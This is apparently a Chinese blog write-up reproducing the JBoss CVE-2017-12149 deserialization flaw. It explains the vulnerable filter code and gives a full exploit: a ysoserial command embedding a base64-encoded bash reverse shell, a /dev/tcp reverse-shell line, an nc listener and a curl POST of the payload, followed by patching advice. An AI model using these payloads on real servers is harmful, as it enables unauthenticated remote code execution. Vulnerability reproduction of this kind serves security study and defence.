JBoss 反序列化漏洞复现

漏洞描述:

互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

影响范围:

漏洞影响5.x和6.x版本的JBOSSAS。

漏洞分析:

Java序列化与反序列化作用:便于保存数据,或者进行数据传输。

Java序列化文件文件头对于序列化的标识:AC ED 00 05。

序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException{HttpServletRequest httpRequest = (HttpServletRequest)request;Principal user = httpRequest.getUserPrincipal();if ((user == null) && (this.readOnlyContext != null)){ServletInputStream sis = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(sis);MarshalledInvocation mi = null;try{mi = (MarshalledInvocation)ois.readObject();}catch (ClassNotFoundException e){throw new ServletException("Failed to read MarshalledInvocation", e);}request.setAttribute("MarshalledInvocation", mi);mi.setMethodMap(this.namingMethodMap);Method m = mi.getMethod();if (m != null) {validateAccess(m, mi);}}chain.doFilter(request, response);}

直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

漏洞复现:

在浏览器中输入http://x.x.x.x:8080打开目标机jboss默认界面。之后进入漏洞页面http://x.x.x.x:8080/invoker/readonly。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。

使用工具ysoserial来生成序列化数据,构造POC(Proof Of Concept),使用bash反弹Shellnc接受反弹回来的Shell。ysoserial地址

从github下载工具ysoserial 后,打开源代码能看到在处理数据时使用了Runtime.getRuntime().exec(String cmd),此时调用Runtime.getRuntime().exec(String command, String[] envp, File dir),直接构造的字符串会被下面的代码分割:

/*** Constructs a string tokenizer for the specified string. The* tokenizer uses the default delimiter set, which is* <code>"&nbsp;\t\n\r\f"</code>: the space character,* the tab character, the newline character, the carriage-return character,* and the form-feed character. Delimiter characters themselves will* not be treated as tokens.** @param   str   a string to be parsed.* @exception NullPointerException if str is <CODE>null</CODE>*/public StringTokenizer(String str) {this(str, " \t\n\r\f", false);}

StringTokenizer会对\t\n\r\f进行分割,所以如果输入命令

bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
bash
-c
`bash
-i
>&
/dev/tcp/127.0.0.1/21
0>&1`

此时需要进行编码,地址,勾选Bash

注:Linux下的${IFS}也可进行编码,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在写shell时的命令中。需要注意是,${IFS}编码后的命令中有空格,重定时,文件名中有空格会造成命令解析不完整,写入文件会失败。而在反弹shell命令中,就会导致模糊的重定向错误。

构造生成Payload:

ysoserial的用法:java -jar ysoserial.jar [payload] '[command]'
[payload] : 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库。
[command] : 待执行的命令。
执行命令:
java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

设置nc本地监听端口6666  nc -l -p 6666。
发送请求,获取Shell。服务器接收到以POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至Kali机器的6666端口。我们使用curl命令发送请求,打开命令行,执行如下代码:curl http://x.x.x.x:8080/invoker/readonly --data-binary @poc.ser

反弹shell回来。

漏洞修复:

升级新版本。
删除http-invoker.sar 组件。
/jboss/jboss-eap-4.3/jboss-as/server/production/deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml(如下图)
添加security-constraint 标签<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。

添加如下代码至 http-invoker.sar 下 web.xmlsecurity-constraint 标签中:<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。

JBoss 反序列化漏洞复现相关推荐

  1. CVE-2020-15148--Yii2 反序列化漏洞复现

    目录 简介: 环境部署: 知识点: 分析: 复现: 参考链接: 其他问题: 简介: Yii Framework是一个基于组件.用于开发大型Web应用的高性能 PHP 框架.Yii提供了今日Web 2. ...

  2. Fastjson 1.2.24 反序列化漏洞复现

    Fastjson 1.2.24 反序列化漏洞复现 1.漏洞介绍 FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo ...

  3. 追洞小组 | Jdbc反序列化漏洞复现浅析

    目录 1.前言+靶场搭建  2.漏洞复现  3.漏洞分析 4.漏洞修复  5.心得 前言+靶场搭建 很多时候我们获得密码之后进入后台管理的界面,有些上传的漏洞或者sql注入无法getshell,但是如 ...

  4. typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...

  5. Fastjson1.2.47反序列化漏洞复现

    一.漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中.Fastjson提供了autotype功能,允许用户在反序列化数据中通过&quo ...

  6. 【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)

    前言: Apache Shiro是一款开源安全框架,提供身份验证.授权.密码学和会话管理.Shiro框架直观.易用,同时也能提供健壮的安全性. 影响版本: Apache Shiro <= 1.2 ...

  7. Shiro RememberMe反序列化漏洞复现(Shiro-550)

    0x00 漏洞原理简要分析 官方说明:https://issues.apache.org/jira/browse/SHIRO-550 Shiro提供了记住我(RememberMe)的功能,关闭了浏览器 ...

  8. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

  9. shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 工作原理 Shiro的记住用户会话功能 获取RememberMe的值 -> Base64解密 - ...

最新文章

  1. IndentationError: unexpected indent
  2. 【Thread】简单说说java.lang.Thread.State
  3. NYOJ 527 AC_mm玩dota
  4. 【hibernate框架】一对多(多对一)双向CRUD-关于delete2
  5. Ubuntu学习(应用集合、命令行以及遇到的问题)
  6. @Resource kdown
  7. iOS最新验证电话号码与手机号码的正则方法
  8. 4200有linux版本么,如何检查Linux版本
  9. 使用TScopy访问已锁定的文件
  10. 网站被黑检测-网页挂马及暗链检测
  11. PLC跑马灯程序设计
  12. 00023 自考高等数学
  13. python合并大量ts文件_python爬取基于m3u8协议的ts文件并合并
  14. Java中hash算法细述
  15. luogu P4643 [国家集训队]阿狸和桃子的游戏
  16. SRM 719 div2 Hard (01Trie,最大异或和)
  17. 阿里云403(Forbidden)Access to XMLHttpRequest at ‘‘ fromorigin ‘‘ has been blocked by CORS policy:Respon
  18. [解决方案] LaTeX公式中的多行大括号 (如涵盖多个不等式)
  19. 根据拼音首字母筛选人名
  20. MYSQL No space left on device

热门文章

  1. SAP PO采购订单手工调整行项目号及通用税率取值方法
  2. Google浏览器上传文件卡死状态问题解决方案
  3. mac 自带Safari浏览器 页面卡死 不动
  4. 债券:几个重要知识点
  5. 短信验证码自动填充时总是被复制两遍
  6. ​反其道而行,大学教授鼓励学生用 ChatGPT 写论文
  7. Vue实现购物车(非常简洁)
  8. 安装windows xp websphere v6(一)
  9. OFD文件怎么转化为PDF文件?教你三种一键转换OFD的方法
  10. JMeter Logic Controller(逻辑控制器)之 ForEach Controller(循环控制器)